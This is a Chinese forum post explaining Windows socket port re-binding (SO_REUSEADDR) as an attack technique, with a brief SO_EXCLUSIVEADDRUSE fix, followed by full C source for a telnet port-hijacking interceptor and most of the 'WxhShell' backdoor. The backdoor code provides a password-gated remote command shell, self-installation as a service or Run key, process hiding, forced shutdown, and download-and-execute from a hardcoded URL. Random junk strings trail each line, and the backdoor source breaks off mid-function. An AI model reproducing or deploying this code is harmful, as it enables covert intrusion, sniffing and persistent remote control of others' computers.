社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19789阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B`?N0t%X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vyt~OTI\  
bDFCZH-:'O  
  saddr.sin_family = AF_INET; (&P0la 1  
qv0 DrL,3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aa0`y  
`l gjw=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )_c=mT  
3gI[]4lRH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z?~d']XD  
e:GgA  
  这意味着什么?意味着可以进行如下的攻击: ^`jZKh8)h  
;&W;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lR@i`)'?U  
$nfBv f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u $% D9Z^  
g",wkO|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d(DX(xg  
:<t{ =0G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8G5) o`  
Nr]8P/[~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )pZekh]v  
te\h?H  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7dlKdKH  
C'8!cPFVv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 EOBs}M;  
jI{~s]Q  
  #include m,@1LwBH  
  #include F[7Kw"~J  
  #include d@D;'2}Yc  
  #include    ?9(o*lp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;X$q#qzN#  
  int main() o/dMm:TF  
  { pVV}1RDa  
  WORD wVersionRequested; vhYMWfbY  
  DWORD ret; `dgM|.w5=  
  WSADATA wsaData; 4j=<p@  
  BOOL val; V{T{0b" \U  
  SOCKADDR_IN saddr; h"PS-]:CD  
  SOCKADDR_IN scaddr; 4#@W;'  
  int err; UKKSc>D1  
  SOCKET s; sw41wj  
  SOCKET sc; tIyuzc~U  
  int caddsize; Y3P.|  
  HANDLE mt; ] ;pf  
  DWORD tid;   p- "Z'$A`  
  wVersionRequested = MAKEWORD( 2, 2 ); 8NaL{j1`  
  err = WSAStartup( wVersionRequested, &wsaData ); zmB31' _  
  if ( err != 0 ) { FI1THzW4J  
  printf("error!WSAStartup failed!\n"); [:nx);\  
  return -1; >k&8el6h  
  } Q$|^~  
  saddr.sin_family = AF_INET; |-(IJG#)  
   jJ*@5?A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XdGpW  
z29qARiX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pK6e/eC  
  saddr.sin_port = htons(23); mfeMmKFu\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %ezb^O_6v  
  { ggm2%|?X  
  printf("error!socket failed!\n"); *3_f &Y  
  return -1; e}'#Xv  
  } <$ i"zb  
  val = TRUE;  cS D._"P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ocIt@#20 K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #cj\~T.,,  
  { .1.J5>/n  
  printf("error!setsockopt failed!\n"); O ;X(pE/G  
  return -1; 9TVB<}0G  
  } Qy=HrL]x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \Y!T>nWn)I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lX98"}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y{k>*: Ax_  
HYjMNj0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s;fVnaqG:  
  { eeW' [  
  ret=GetLastError(); 2PVx++*]C  
  printf("error!bind failed!\n"); 0PnD|]9:  
  return -1; 2qZa9^}  
  } 3[0w+{ (Q  
  listen(s,2); 4GG1E. z}  
  while(1) SXRdNPXFO  
  { K<@[_W+  
  caddsize = sizeof(scaddr); zVM4BT(  
  //接受连接请求 le7 `uz!%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g d337jw  
  if(sc!=INVALID_SOCKET) Sao>P[#x  
  { V19e>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [_y9"MMwn  
  if(mt==NULL)  }Vvsh3  
  { t6'61*)|0  
  printf("Thread Creat Failed!\n"); D9qX->p  
  break; Qs|OG  
  } _Kc 1  
  } Dh2:2Rz=#7  
  CloseHandle(mt); 2.[_t/T  
  } Y%<`;wK=^  
  closesocket(s); \*f;!{P{  
  WSACleanup(); az0cS*@  
  return 0; (Ij0AeJ#  
  }   F,*2#:Ki  
  DWORD WINAPI ClientThread(LPVOID lpParam)  28nmQ  
  { x}tKewdOSe  
  SOCKET ss = (SOCKET)lpParam; <jbj/Q )"  
  SOCKET sc; Wgxn`6  
  unsigned char buf[4096]; ETU-]R3  
  SOCKADDR_IN saddr; z>4 D~HX  
  long num; W8f`J2^"M  
  DWORD val; <=q*N;=T,  
  DWORD ret; ds- yif6   
  //如果是隐藏端口应用的话,可以在此处加一些判断 SHMl%mw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _h0-  
  saddr.sin_family = AF_INET; c{1V.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?22d},.  
  saddr.sin_port = htons(23); mfXD1]<.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `.{U-U\  
  { ; D1FAz  
  printf("error!socket failed!\n"); pG/ NuImA  
  return -1; yh S#&)O  
  } WK pUn8&N  
  val = 100; }<vvxi  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vy]A,Rn7  
  { B,3 t`  
  ret = GetLastError(); +0VG[ c\8  
  return -1; A#<vG1  
  } S8\+XJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aK]7vp+  
  { E@:Q 'g%  
  ret = GetLastError(); KwS`3 6:  
  return -1; zQ,f5x  
  } m&Lt6_vi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z.!g9fi8>  
  { egfi;8]E  
  printf("error!socket connect failed!\n"); br b[})}  
  closesocket(sc); ya:sW5fk  
  closesocket(ss); f%c06Un=  
  return -1; ^w>&?A'!  
  } f2NA=%\  
  while(1) '<TD6jBs  
  { 9oEpPL5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |Eb&}m:E$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 brntE:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~%`EeJwT  
  num = recv(ss,buf,4096,0); |VK:2p^ u  
  if(num>0) |V lMma z  
  send(sc,buf,num,0); 8=:A/47=J  
  else if(num==0) 'f 3HKn<L  
  break; \I;cZ>{u"}  
  num = recv(sc,buf,4096,0); h-7A9:  
  if(num>0) &`\ep9  
  send(ss,buf,num,0); 9qEOgJ  
  else if(num==0) XJUEwX  
  break; b7bSTFZxC  
  } bZ/ hgqS  
  closesocket(ss); oew|23Ytb  
  closesocket(sc); qmEoqU  
  return 0 ; z OtkC3hY  
  } 0{Bf9cH  
_74UdD{^o  
' PELf P8  
========================================================== >)LAjwhBp  
u*hH }  
下边附上一个代码,,WXhSHELL d<#p %$A4  
zhX;6= X2  
========================================================== 7{-@}j`  
mmHJ h\2v  
#include "stdafx.h" V~85oUc\-  
6J\q`q(W(  
#include <stdio.h> \7yJ\I  
#include <string.h> #pX8{Tf[  
#include <windows.h> wazP,9W?  
#include <winsock2.h> pajy#0 U  
#include <winsvc.h> G.Tpl-m  
#include <urlmon.h> n'yl)HA~>`  
#7o0dE;Kg9  
#pragma comment (lib, "Ws2_32.lib") *<r%aeG$em  
#pragma comment (lib, "urlmon.lib") `_GO=QQ  
YZ< NP  
#define MAX_USER   100 // 最大客户端连接数 7aQ n;  
#define BUF_SOCK   200 // sock buffer zrrz<dW  
#define KEY_BUFF   255 // 输入 buffer :9`qogF>  
4`s)ue  
#define REBOOT     0   // 重启 Ir/:d]N*  
#define SHUTDOWN   1   // 关机 \#++s&06  
3w6&&R9  
#define DEF_PORT   5000 // 监听端口 (xL :;  
*Rq`*D>:U}  
#define REG_LEN     16   // 注册表键长度 +#~O'r]%GG  
#define SVC_LEN     80   // NT服务名长度 dMJ!>l>2  
RyuEHpN}  
// 从dll定义API Y''6NGf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a%E8(ms37y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OF8WDo`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 12lEs3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4:U0f;Fs  
i j/o;_  
// wxhshell配置信息 Aq"PG}Ic  
struct WSCFG { 3za`>bUN  
  int ws_port;         // 监听端口 j7}lF?cJ2  
  char ws_passstr[REG_LEN]; // 口令 i:d`{kJ|[  
  int ws_autoins;       // 安装标记, 1=yes 0=no V\AK6U@r^  
  char ws_regname[REG_LEN]; // 注册表键名 0~]QIdu{AR  
  char ws_svcname[REG_LEN]; // 服务名 V9T 4 +  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N<liS3>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $@2"{9Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WNa3^K/W{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^X &)'H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &dRjqn^&X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ra:GzkIw  
:CTL)ad2  
};  , ]7XMU3  
&2{]hRM  
// default Wxhshell configuration nhewDDu  
struct WSCFG wscfg={DEF_PORT, j&CZ=?K^c  
    "xuhuanlingzhe", q`^3ov^</  
    1, Fc'[+L--Q  
    "Wxhshell", \5hw9T&[B  
    "Wxhshell", .E$q&7@/j  
            "WxhShell Service", 2h )8Fq_"  
    "Wrsky Windows CmdShell Service", BSKEh"f  
    "Please Input Your Password: ", 1i'Z ei)  
  1, JpK[&/Ct  
  "http://www.wrsky.com/wxhshell.exe", +9zA^0   
  "Wxhshell.exe" ~C| ,b"  
    }; p+[} Hxx=  
u s`}  
// 消息定义模块 U Du~2%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t8vc@of$c,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;&kn"b}G;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iNJAZ6@+  
char *msg_ws_ext="\n\rExit."; 6vobta^w  
char *msg_ws_end="\n\rQuit."; bMmra.x4L  
char *msg_ws_boot="\n\rReboot..."; 9|=nV|R'6  
char *msg_ws_poff="\n\rShutdown..."; B\[-fq  
char *msg_ws_down="\n\rSave to "; &z>q#'X;.  
EwQae(PpA  
char *msg_ws_err="\n\rErr!"; Pq?*C;D  
char *msg_ws_ok="\n\rOK!"; 9"ugz^uKt  
AS|Rd+ .  
char ExeFile[MAX_PATH]; o1k#."wHr  
int nUser = 0; OQFi.  8  
HANDLE handles[MAX_USER]; F;kvH  
int OsIsNt; B {aU;{1  
Cs4hgb|  
SERVICE_STATUS       serviceStatus; h0Jl_f#Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lw[<STpD;  
([KN*OF  
// 函数声明 f`|G]da-3o  
int Install(void); X NE+(Bt  
int Uninstall(void); } 0;Sk(B>  
int DownloadFile(char *sURL, SOCKET wsh); Z`s!dV]e9  
int Boot(int flag); )6{P8k4Zr  
void HideProc(void); "w&/m}E,[  
int GetOsVer(void); B< hEx@  
int Wxhshell(SOCKET wsl); gxmc|  
void TalkWithClient(void *cs); S}cF0B1E*  
int CmdShell(SOCKET sock); "IwM:v  
int StartFromService(void); ,I`_F,  
int StartWxhshell(LPSTR lpCmdLine); J3B.-XJ+n  
VR4%v9[1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yM ,VrUh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _- %d9@x  
M|r8KW~S)  
// 数据结构和表定义 sRq U]i8l  
SERVICE_TABLE_ENTRY DispatchTable[] = o56kp3b)b  
{ Ae49n4J  
{wscfg.ws_svcname, NTServiceMain}, jBpVxv  
{NULL, NULL} 3cC }'j  
}; /DO'IHC.o  
0S.?E.-&0  
// 自我安装 "={L+di:M  
int Install(void) v!trsjb  
{ U$'y_}V  
  char svExeFile[MAX_PATH]; >nry0 ;z0,  
  HKEY key; }bMWTT  
  strcpy(svExeFile,ExeFile); LgHJo-+>  
2EfflZL3  
// 如果是win9x系统,修改注册表设为自启动 \hbiU ]  
if(!OsIsNt) { g.a| c\WH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H/J<Pd$p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~NNv>5 t5  
  RegCloseKey(key);  %+wF"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }-p,iTm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zu<3^=3  
  RegCloseKey(key); @^? XaU  
  return 0; $Ha%Gr  
    } |Q!4GeQL[  
  } p)/ p!d[T/  
} N E= w6  
else { 0x5xLg;Q  
2[up+;%Y  
// 如果是NT以上系统,安装为系统服务 A]?^ H<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `o si"o9  
if (schSCManager!=0) XDYosC:  
{ a)9rs\Is{  
  SC_HANDLE schService = CreateService p5<2N  
  ( /2@["*^$  
  schSCManager, 4;*f1_;f~  
  wscfg.ws_svcname, X/+OF'po  
  wscfg.ws_svcdisp, 0{R/<N  
  SERVICE_ALL_ACCESS, CgnXr/!L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VXIQw' Cq  
  SERVICE_AUTO_START, 8#59iQl  
  SERVICE_ERROR_NORMAL, d+}kg  
  svExeFile, Y {c5  
  NULL, <xn;bp[  
  NULL, &1GUi{I  
  NULL, |(ocDmd  
  NULL, p4> ,Fwy2  
  NULL Qb`C)Nh:  
  ); %S#WPD'Y  
  if (schService!=0) Hr }k5'  
  { (~()RkT  
  CloseServiceHandle(schService); <4mQ*6  
  CloseServiceHandle(schSCManager); f0oek{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Kx6y" {me|  
  strcat(svExeFile,wscfg.ws_svcname); A/ 0qk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h^M^7S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dWR1cvB(wY  
  RegCloseKey(key); HomN/wKh  
  return 0; ~O4|KY  
    } ~L4eZ  
  } 5I,$EGG  
  CloseServiceHandle(schSCManager); Ze ? g  
} 0ar=cuDm  
} eb!_ie"D  
^l!L)iw  
return 1; CV^c",b_  
} ]rW8y%yD  
AS;.sjgk  
// 自我卸载 G|9B )`S  
int Uninstall(void) +R[4\ hC0Y  
{ J_xG}d  
  HKEY key; T:!MBWYe|  
2k1aX~?  
if(!OsIsNt) { QnKC#   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _Bk U+=|J  
  RegDeleteValue(key,wscfg.ws_regname); )saR0{e0N  
  RegCloseKey(key); tWD|qg_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9?`RR/w  
  RegDeleteValue(key,wscfg.ws_regname); O9]\Q@M.  
  RegCloseKey(key); LSkk;)'2K  
  return 0; OVswt  
  } 77Q}=80GU;  
} e.;M.8N#SQ  
} )U(u>SV(\  
else { JJf<*j^G  
L11L23:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UK3a{O[ 5  
if (schSCManager!=0) `WlE| G[  
{ /f3m)pT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @{}rG8  
  if (schService!=0) q)iTn)Z!  
  { X?df cS*!n  
  if(DeleteService(schService)!=0) { |}S1o0v{(a  
  CloseServiceHandle(schService); R^8B3-aA`  
  CloseServiceHandle(schSCManager); ^ KH>1!  
  return 0; crn k|o  
  } CLK^gZ  
  CloseServiceHandle(schService); p4mY0Y]mP  
  } e4.&aIC[  
  CloseServiceHandle(schSCManager); 6 = gp:I  
} Hg(5S,O2  
} =nhzMU9c\y  
*Bw#c j  
return 1; |:2c$zq  
} mm,lhIh  
ULl_\5s2  
// 从指定url下载文件 y1C/v:;  
int DownloadFile(char *sURL, SOCKET wsh) lbkL yp2  
{ F6dr  
  HRESULT hr; gdi`x|0  
char seps[]= "/"; yQ[u3tI  
char *token; w0Ij'=:  
char *file; Y @}FL;3  
char myURL[MAX_PATH]; D4Sh9:\  
char myFILE[MAX_PATH]; s~$zWx@v  
=`p&h}h-L  
strcpy(myURL,sURL); l$XA5#k  
  token=strtok(myURL,seps); hC>wFC  
  while(token!=NULL) - ]Y wl  
  { (cs~@  
    file=token; K`4GU[ul  
  token=strtok(NULL,seps); X8CVY0<o  
  } h4 vm{ho  
~:2K#q5C  
GetCurrentDirectory(MAX_PATH,myFILE); 8:{ q8xZ=k  
strcat(myFILE, "\\"); tWk{1IL  
strcat(myFILE, file); zM59UQU;  
  send(wsh,myFILE,strlen(myFILE),0); abWl ut  
send(wsh,"...",3,0); ,- HIFbXx@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (I=6Nnt'  
  if(hr==S_OK) `-O= >U5nH  
return 0; 2R`u[  
else ?,% TU&Yn  
return 1; 0Q1/n2V  
4}-#mBV]/  
} wj%wp[KA$  
j=j+Nf$  
// 系统电源模块 9#@Zz4Ww  
int Boot(int flag) &r@H(}$1\  
{ !Z s,-=^D  
  HANDLE hToken; 295w.X(J  
  TOKEN_PRIVILEGES tkp; e1P7 .n}  
-,GEv%6c  
  if(OsIsNt) { E1W:hGI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c{>|o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A,c'g}:  
    tkp.PrivilegeCount = 1; \_ -DyD#3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p@tp]u`7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); re uYTH  
if(flag==REBOOT) { ~zyQ('  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RWikJ   
  return 0; Ae3,^  
} a:u}d7T3e  
else { :6u~aT/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kF-TG3  
  return 0; lzfDH =&  
} ORH93`  
  } oT->^4WY  
  else { ^saM$e^c:  
if(flag==REBOOT) { \!wh[qEQ\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $l"MXxx5I  
  return 0; vlQ0gsXK  
} b1=pO]3u  
else { BXA]9eK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _?b;0{93u  
  return 0; $4Y&j}R  
} 3bts7<K=  
} ^s*\Qw{Ii  
evOb  
return 1; 7@P656{  
} J3&Sj{ o  
QUp?i  
// win9x进程隐藏模块 *?N<S$m  
void HideProc(void) <E}N=J'uJ  
{ )ddsyFGW  
C1 {ZW~"YI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xid:"y=_&  
  if ( hKernel != NULL ) \7 Mq $d  
  { ~:Ixmqi}R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q^6N+^}QN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wp4K6x  
    FreeLibrary(hKernel); *w 21U!  
  } |EeBSRAfe  
o7 arxo\  
return; @dV9Dpu  
} T6=-hA^A  
: ;TYL[  
// 获取操作系统版本 ]xrD<  
int GetOsVer(void) " $=qGHA~  
{ (}0S1)7t  
  OSVERSIONINFO winfo; cY~M4:vgT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4\1;A`2%0  
  GetVersionEx(&winfo); YFqZe6g0$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :gaETr  
  return 1; o^PuhVu  
  else bK7.St  
  return 0; 9K$]h2  
} p1^0{ILx  
lh$CWsx  
// 客户端句柄模块 @+t (xCv  
int Wxhshell(SOCKET wsl) i;]CL[#2e`  
{ ai^t= s  
  SOCKET wsh; B^m!t7/,  
  struct sockaddr_in client; M[z3 f  
  DWORD myID; xgs@gw7!n0  
YkI9d&ib+  
  while(nUser<MAX_USER) DZP*x  
{ 1RA }aX  
  int nSize=sizeof(client); <Wf0QO,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )JX$/- RD-  
  if(wsh==INVALID_SOCKET) return 1; hr1$1&p  
R8uj3!3^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `WlH*p)z9  
if(handles[nUser]==0) *|poxT G  
  closesocket(wsh); InN{^uN  
else >KHp-|0pv  
  nUser++; ,-:a?#f>  
  } P57GqT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EW9b*r7./  
g? I!OG  
  return 0; ?OO%5PSen  
} ^Po,(iIn  
-%=RFgU4  
// 关闭 socket N"~ qoJO  
void CloseIt(SOCKET wsh) b- uZ"Kf^  
{ 0V7 _n  
closesocket(wsh); ~4+8p9f  
nUser--; NQ{-&#@/v  
ExitThread(0); ^(g_.>  
} f| =# q  
b-4dsz 'ai  
// 客户端请求句柄 \*J.\f  
void TalkWithClient(void *cs) Iy.mVtcsZ  
{ HT-PWk>2  
8? F 2jv  
  SOCKET wsh=(SOCKET)cs; _eh3qs:  
  char pwd[SVC_LEN]; l_b_-p  
  char cmd[KEY_BUFF]; |G=FqAX H  
char chr[1]; kz_M;h>  
int i,j; kkL(;H:%  
F~'sT}A*  
  while (nUser < MAX_USER) { l{QC}{Ejc2  
SlN"(nq  
if(wscfg.ws_passstr) { ]f5c\\)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &~}@u[=ux  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vgN@~Xa  
  //ZeroMemory(pwd,KEY_BUFF); fOLnK y#  
      i=0; W W35&mI)k  
  while(i<SVC_LEN) { F#KF6)P  
}Q ;BQ2[  
  // 设置超时 G}q<{<+$  
  fd_set FdRead; yH+c#w  
  struct timeval TimeOut; L, #Byao  
  FD_ZERO(&FdRead); S<9gyW  
  FD_SET(wsh,&FdRead); hWm0$v 1p  
  TimeOut.tv_sec=8; $i -zMa  
  TimeOut.tv_usec=0; df yrn%^Ia  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k1m'Ka-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p_;r%o=  
}9 ?y'6l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]An_5J  
  pwd=chr[0]; xjE7DCmA  
  if(chr[0]==0xd || chr[0]==0xa) { _V&x`ks  
  pwd=0; *cPN\Iu.W  
  break; yduuFK  
  } wZ O@J|  
  i++; ^t7_3%%w  
    } oLd:3,p}  
X= SG  
  // 如果是非法用户,关闭 socket 8M~u_`6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vU7&'ca  
} EFeAr@nj  
A^t"MYX@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R7,p ukK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B9AbKK$`  
b70AJe=  
while(1) { vLr&ay!w  
{x|MA(NO  
  ZeroMemory(cmd,KEY_BUFF); =8@RKG`>;  
ZDfS0]0F  
      // 自动支持客户端 telnet标准   0xLkyt0  
  j=0; d0Tg qO{  
  while(j<KEY_BUFF) { ]M uF9={  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K1<k+t/V  
  cmd[j]=chr[0]; JLml#Pu4  
  if(chr[0]==0xa || chr[0]==0xd) { g4i #1V=  
  cmd[j]=0; JOPTc]  
  break; F~%|3a$Y  
  } X:DMT>5k  
  j++; @f\ X4!e*y  
    } $@68=  
/8:gVXZi  
  // 下载文件 }=TqJy1  
  if(strstr(cmd,"http://")) { 9Il'E6 J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mqubXS;J|P  
  if(DownloadFile(cmd,wsh)) R&gWqt/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ]LMiMj  
  else i:;$oT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zi ma^IL  
  } 4bE42c=Ca7  
  else { ]bf'  
7bHE!#L`0  
    switch(cmd[0]) { xiEcEz'lk  
  y)IGTW o  
  // 帮助 &&ja|o-  
  case '?': { xJ$Rs/9C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); haN"/C^  
    break; 7(H ?k  
  } y)0gJP L^  
  // 安装 <. ezw4ju  
  case 'i': { r!CA2iK`  
    if(Install()) `d.Gw+Un  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F|9a}(-7  
    else Ca$y819E2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t`h_+p%>  
    break; Hi$#!OU  
    } `Yg7,{A\J  
  // 卸载 \MF3CK@/  
  case 'r': { JATS6-Lz`  
    if(Uninstall()) gh.w Li$+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q=^ktKMeR  
    else 9fCiLlI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZBPd(;"x+  
    break; LAj}kW~  
    } =CWc`  
  // 显示 wxhshell 所在路径 bN]\K/  
  case 'p': { O}e|P~W  
    char svExeFile[MAX_PATH]; (\T8!s{AO  
    strcpy(svExeFile,"\n\r"); @T9m}+fR  
      strcat(svExeFile,ExeFile); A{G5Plrh  
        send(wsh,svExeFile,strlen(svExeFile),0); &~z+R="=  
    break; )j]gm i"  
    } V|+ `L-  
  // 重启  F|DR  
  case 'b': { <Sz>ZIISd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )r-T=  
    if(Boot(REBOOT)) 8}Fw%;Cb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zuK/(qZ  
    else { z]'|nX  
    closesocket(wsh); -$'~;O3s  
